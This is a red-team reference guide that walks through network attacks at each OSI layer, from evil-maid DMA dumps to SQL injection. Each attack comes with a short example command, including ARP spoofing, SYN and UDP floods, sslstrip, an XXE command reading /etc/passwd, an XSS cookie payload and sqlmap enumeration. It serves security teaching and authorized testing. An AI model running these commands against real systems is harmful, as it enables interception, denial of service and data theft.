Advanced Network Attacks Across OSI Layers
This comprehensive guide details sophisticated attacks at each layer of the OSI model, tailored for Red Team experts. It includes specific attack techniques, command examples, and references to relevant tools and resources.
Layer 1: Physical
Evil Maid Attack
Description: Physical access exploitation of unattended systems.
Example: Using tools like PCILeech for DMA attacks: `pcileech dump -device fpga -max 0x1000000`
Reference: https://github.com/ufrisk/pcileech
Fiber Tapping
Description: Intercepting data from fiber optic cables without disrupting the connection.
Example: Using specialized equipment like the Fiber Tapping Kit from Oyster Technologies
Reference: https://www.osec.io/blog/fiber-optic-tapping-101/
Rogue Access Points
Description: Setting up malicious Wi-Fi access points to intercept traffic.
Example: Using Aircrack-ng suite: `airbase-ng -e "Free WiFi" -c 6 wlan0mon`
Reference: https://www.aircrack-ng.org/doku.php?id=airbase-ng
Layer 2: Data Link
MAC Flooding
Description: Overwhelming a switch's CAM table to force it into hub-like behavior.
Example: Using macof: `macof -i eth0 -n 10000`
Reference: https://github.com/robertdavidgraham/macof
ARP Spoofing
Description: Manipulating ARP tables to redirect traffic for MITM attacks.
Example: Using Ettercap: `ettercap -T -q -i eth0 -M arp:remote /target1/ /target2/`
Reference: https://www.ettercap-project.org/index.html
VLAN Hopping
Description: Attacking the VLAN infrastructure to access unauthorized VLANs.
Example: Using Yersinia: `yersinia -I`
Reference: https://github.com/tomac/yersinia
Layer 3: Network
IP Spoofing
Description: Forging the source IP address in packets to impersonate trusted systems.
Example: Using Scapy: `send(IP(src="192.168.1.1", dst="192.168.1.2")/ICMP())`
Reference: https://scapy.net/
ICMP Tunneling
Description: Encapsulating other protocols within ICMP to bypass firewalls.
Example: Using ptunnel: `ptunnel -p proxy.example.com -lp 8000 -da internal.example.com -dp 22`
Reference: http://www.cs.uit.no/~daniels/PingTunnel/
BGP Hijacking
Description: Manipulating BGP to redirect large portions of Internet traffic.
Example: Simulating with GNS3 or EVE-NG for testing purposes
Reference: https://www.cloudflare.com/learning/security/glossary/bgp-hijacking/
Layer 4: Transport
TCP SYN Flood
Description: Overwhelming a system with TCP SYN packets to exhaust resources.
Example: Using hping3: `hping3 -S -p 80 --flood target_ip`
Reference: http://www.hping.org/
UDP Amplification
Description: Exploiting UDP services to generate large amounts of traffic for DDoS.
Example: Using UDPFlooder: `./udpflood target_ip target_port payload_size number_of_packets`
Reference: https://github.com/opsxcq/udp-flood
SSL/TLS Downgrade
Description: Forcing the use of weaker encryption protocols for easier interception.
Example: Using sslstrip: `sslstrip -l 8080`
Reference: https://github.com/moxie0/sslstrip
Layer 5: Session
Session Hijacking
Description: Taking over an authenticated session to gain unauthorized access.
Example: Using Burp Suite to capture and modify session tokens
Reference: https://portswigger.net/burp
Cross-Site Request Forgery (CSRF)
Description: Tricking users into performing unintended actions on authenticated web applications.
Example: Creating a malicious HTML form that submits to a target site
Reference: https://owasp.org/www-community/attacks/csrf
Man-in-the-Middle (MitM)
Description: Intercepting and potentially altering communications between two parties.
Example: Using Bettercap: `bettercap -iface eth0 -caplet http-proxy`
Reference: https://www.bettercap.org/
Layer 6: Presentation
SSL/TLS Attacks
Description: Exploiting vulnerabilities in SSL/TLS protocols or implementations.
Example: Using sslscan to identify weak ciphers: `sslscan example.com`
Reference: https://github.com/rbsec/sslscan
Format String Attacks
Description: Exploiting improper use of format string functions in C/C++ programs.
Example: Crafting malicious input like `printf("%s%s%s%s%s%n")`
Reference: https://owasp.org/www-community/attacks/Format_string_attack
XML External Entity (XXE) Injection
Description: Exploiting XML parsers to process malicious external entity references.
Example: Using XXEinjector: `ruby XXEinjector.rb --host=192.168.0.2 --path=/path/to/vulnerable/file --file=/etc/passwd`
Reference: https://github.com/enjoiz/XXEinjector
Layer 7: Application
SQL Injection
Description: Inserting malicious SQL code to manipulate database queries.
Example: Using sqlmap: `sqlmap -u "http://example.com/page.php?id=1" --dbs`
Reference: http://sqlmap.org/
Cross-Site Scripting (XSS)
Description: Injecting malicious scripts into web pages viewed by other users.
Example: Testing with payload: `<script>alert(document.cookie)</script>`
Reference: https://owasp.org/www-community/attacks/xss/
Server-Side Request Forgery (SSRF)
Description: Abusing server functionality to perform unauthorized actions.
Example: Crafting a request like: `http://vulnerable-server.com/fetch?url=http://internal-server.local/sensitive-data`
Reference: https://portswigger.net/web-security/ssrf
Red Team Considerations
When conducting Red Team operations, consider the following best practices:
- Always obtain proper authorization before performing any penetration testing or red team activities.
- Maintain detailed documentation of all actions taken during an engagement.
- Use a dedicated testing environment when possible to avoid unintended impact on production systems.
- Stay updated on the latest vulnerabilities, exploit techniques, and security patches.
- Prioritize stealth and evasion techniques to simulate real-world advanced persistent threats (APTs).
- Conduct thorough post-engagement analysis and provide actionable recommendations for improving security posture.